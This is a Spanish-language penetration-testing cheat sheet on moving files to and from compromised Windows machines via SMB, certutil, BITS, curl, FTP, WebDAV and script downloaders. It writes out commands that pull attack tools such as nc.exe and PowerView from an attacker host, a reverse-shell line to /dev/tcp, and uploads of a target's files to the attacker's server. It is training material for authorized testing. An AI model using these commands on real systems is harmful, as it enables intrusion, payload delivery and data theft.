File Transfer
Verify correct file content after transfer
# Kali Linux
❯ md5sum <file_name>
e7f7d2522cc7fdec3e6cc2c1e2f20819 <file_name>
# PowerShell
╭╴at ~\Desktop
╰─ Get-FileHash C:\Users\gzzcoo\Desktop\shell.sh -Algorithm md5
Algorithm Hash Path
--------- ---- ----
MD5 E7F7D2522CC7FDEC3E6CC2C1E2F20819 C:\Users\gzzcoo\Desktop\shell.sh
Download Operations
SMB Server
# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -smb2support
# Desde Windows, podemos descargar ficheros de Kali Linux hacía el equipo Windows
copy \\<ATTACKER_IP>\smbFolder\archivo.txt C:\path\destination\archivo.txt
Las nuevas versiones de Windows bloquean el acceso de invitados no autenticados, como podemos ver en el siguiente comando:
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.
Para transferir archivos en este escenario, podemos establecer un nombre de usuario y una contraseña usando nuestro servidor SMB Impacket y montar el servidor SMB en nuestra máquina de destino de Windows:
# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -username gzzcoo -password gzzcoo123 -smb2support
# Desde Windows conectamos el SMB y transferimos el archivo directamente hacía Windows.
net use x: \\<ATTACKER_IP>\smbFolder /user:gzzcoo gzzcoo123
copy x:\archivo.txt C:\path\destination\archivo.txt
Certutil.exe
# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80
# Desde Windows descargamos el archivo con certutil.exe
certutil.exe -f -urlcache -split http:/<ATTACKER_IP>/archivo.txt C:\path\destination\archivo.txt
PowerShell Download Operations
Disponemos de diversas maneras de realizar una transferencias de archivos hacía la máquina objetivo a través de PowerShell.
Bitsadmin Download Function
El servicio Background Intelligent Transfer Service (BITS) puede usarse para descargar archivos desde sitios HTTP o recursos compartidos SMB. Este servicio tiene la ventaja de que descarga los archivos de forma "inteligente", tomando en cuenta la carga de la red y del sistema para minimizar el impacto en el trabajo del usuario.
File Download with BitsAdmin
C:\htb> bitsadmin /transfer wcb /priority foreground http://10.10.x.x:8000/nc.exe C:\Users\gzzcoo\Desktop\nc.exe
PowerShell + BITS
PS C:\htb> Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.x.x:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"
Curl
# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80
# Desde Windows descargarmos el archivo a través de cURL
curl http://<ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt
curl <ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt
Wget
# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80
# Desde Windows descargarmos el archivo con wget, si no especificamos -o, se descargará en el directorio actual
wget http://<ATTACKER_IP>/archivo.txt
wget http://<ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt
wget <ATTACKER_IP>/archivo.txt
wget <ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt
FTP Downloads
Otra forma de transferir archivos es mediante FTP (File Transfer Protocol), que utiliza los puertos TCP/21 y TCP/20. Podemos utilizar el cliente FTP o PowerShell Net.WebClient para descargar archivos desde un servidor FTP.
Podemos configurar un servidor FTP en nuestro host de ataque utilizando el módulo pyftpdlib de Python3. Se puede instalar con el siguiente comando:
sudo pip3 install pyftpdlib --break-system-packages
sudo python3 -m pyftpdlib --port 21
Una vez configurado el servidor FTP, podemos realizar transferencias de archivos utilizando el cliente FTP preinstalado desde Windows o PowerShell Net.WebClient.
PS C:\htb> (New-Object Net.WebClient).DownloadFile('ftp://<ATTACKER_IP>/file.txt', 'C:\Users\Public\ftp-file.txt')
Create a Command File for the FTP Client and Download the Target File
╭╴at ~\Desktop
╰─ echo "open 192.168.134.128" > ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "USER anonymous" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "binary" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "GET shell.sh" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "bye" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.134.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> GET shell.sh
ftp> bye
╭╴at ~\Desktop
╰─ cat .\shell.sh
#!/bin/bash
/bin/bash -c "bash -i >& /dev/tcp/10.10.16.37/443 0>&1"
JavaScript
JavaScript es un lenguaje de programación que permite implementar funciones complejas en páginas web. Al igual que con otros lenguajes de programación, podemos usarlo para muchas cosas diferentes.
El siguiente código JavaScript se basa en esta publicación y podemos descargar un archivo que lo utilice. Crearemos un archivo llamado wget.js
y guardaremos el siguiente contenido:
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
Podemos usar el siguiente comando desde un símbolo del sistema de Windows o una terminal de PowerShell para ejecutar nuestro código JavaScript y descargar un archivo.
Download a File Using JavaScript and cscript.exe
C:\htb> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
VBScript
VBScript ("Microsoft Visual Basic Scripting Edition") es un lenguaje Active Scripting desarrollado por Microsoft que sigue el modelo de Visual Basic. VBScript se ha instalado de forma predeterminada en todas las versiones de escritorio de Microsoft Windows desde Windows 98.
El siguiente ejemplo de VBScript se puede utilizar en base a esto. Crearemos un archivo llamado wget.vbs
y guardaremos el siguiente contenido:
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
Podemos usar el siguiente comando desde un símbolo del sistema de Windows o una terminal de PowerShell para ejecutar nuestro código VBScript y descargar un archivo.
Download a File Using VBScript and cscript.exe
C:\htb> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
Upload Operations
PowerShell Upload Operations
Disponemos de diversas maneras de realizar una transferencias de archivos de la máquina objetivo hacía la nuestra a través de PowerShell.
SMB Uploads
SMB Server
# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -smb2support
# Desde Windows, podemos descargar ficheros de Kali Linux hacía el equipo Windows
copy C:\path\archivo.txt \\<ATTACKER_IP>\smbFolder\archivo.txt
Las nuevas versiones de Windows bloquean el acceso de invitados no autenticados, como podemos ver en el siguiente comando:
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.
Para transferir archivos en este escenario, podemos establecer un nombre de usuario y una contraseña usando nuestro servidor SMB Impacket y montar el servidor SMB en nuestra máquina de destino de Windows:
# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -username gzzcoo -password gzzcoo123 -smb2support
# Desde Windows conectamos el SMB y transferimos el archivo directamente hacía Kali.
net use x: \\<ATTACKER_IP>\smbFolder /user:gzzcoo gzzcoo123
copy C:\path\archivo.txt x:\archivo.txt
WebDAV
Anteriormente discutimos que las empresas suelen permitir el tráfico saliente a través de los protocolos HTTP (TCP/80) y HTTPS (TCP/443). Normalmente, las empresas no permiten el protocolo SMB (TCP/445) fuera de su red interna, ya que esto podría exponerlas a posibles ataques. Para más información sobre esto, podemos leer la publicación de Microsoft Preventing SMB traffic from lateral connections and entering or leaving the network.
Una alternativa es ejecutar SMB sobre HTTP con WebDAV. WebDAV (RFC 4918) es una extensión de HTTP, el protocolo de Internet que utilizan los navegadores y servidores web para comunicarse entre sí. El protocolo WebDAV permite que un servidor web funcione como un servidor de archivos, admitiendo la creación colaborativa de contenido. WebDAV también puede usar HTTPS.
Cuando se usa SMB, primero intentará conectarse mediante el protocolo SMB y, si no encuentra un recurso compartido SMB disponible, intentará conectarse a través de HTTP. En la siguiente captura de Wireshark, intentamos conectarnos al recurso compartido testing3 y, como no encontró nada con SMB, utilizó HTTP.

1 - Configuring WebDav Server
Para configurar nuestro servidor WebDav, necesitamos instalar dos módulos de Python: wsgidav y cheroot (puedes leer más sobre esta implementación aquí: wsgidav GitHub). Después de instalarlos, ejecutamos la aplicación wsgidav en el directorio objetivo.
2 - Installing WebDav Python modules
sudo pip3 install wsgidav cheroot --break-system-packages
3 - Using the WebDav Python module
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
4 - Connecting to the Webdav Share
Ahora podemos intentar conectarnos al recurso compartido utilizando el directorio DavWWWRoot. Desde CMD.
C:\Users\gzzcoo\Desktop>dir \\192.168.134.128\DavWWWRoot
Volume in drive \\192.168.134.128\DavWWWRoot has no label.
Volume Serial Number is 0000-0000
Directory of \\192.168.134.128\DavWWWRoot
06/03/2025 02:44 <DIR> .
06/03/2025 02:44 <DIR> ..
06/03/2025 02:18 <DIR> tmp.h4ikej9g1U
Otro método desde PowerShell
.
╭╴at ~\Desktop
╰─ net use * http://192.168.134.128/ /user:anonymous ""
Comprobar que podemos listar la unidad que se nos ha asignado.
╭╴at ~\Desktop took 3s
╰─ dir Z:
Directory: Z:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 06/03/2025 2:18 tmp.h4ikej9g1U
d----- 06/03/2025 0:32 tmp.CfttO9JChM
5 - Uploading Files using SMB
C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.134.129\DavWWWRoot\
╭╴at ~\Desktop
╰─ copy shell.sh Z:\
FTP Uploads
Subir archivos usando FTP es muy similar a descargar archivos. Podemos usar PowerShell o el cliente FTP para realizar la operación. Antes de iniciar nuestro servidor FTP utilizando el módulo de Python pyftpdlib, necesitamos especificar la opción --write para permitir que los clientes suban archivos a nuestro host de ataque.
sudo python3 -m pyftpdlib --port 21 --write
Ahora usemos la función de carga de PowerShell para subir un archivo a nuestro servidor FTP.
PowerShell Upload File
(New-Object Net.WebClient).UploadFile('ftp://192.168.134.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
Create a Command File for the FTP Client to Upload a File
╭╴at ~\Desktop
╰─ echo "open 192.168.134.128" > ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "USER anonymous" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "binary" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "PUT C:\Windows\System32\drivers\etc\hosts" >> ftpcommand.txt
╭╴at ~\Desktop
╰─ echo "bye" >> ftpcommand.txt
╭╴at ~\Desktop took 2s
╰─ ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.134.128
Log in with USER and PASS first.
ftp> USER anonymous
ftp> PUT C:\Windows\System32\drivers\etc\hosts
ftp> bye
Última actualización
¿Te fue útil?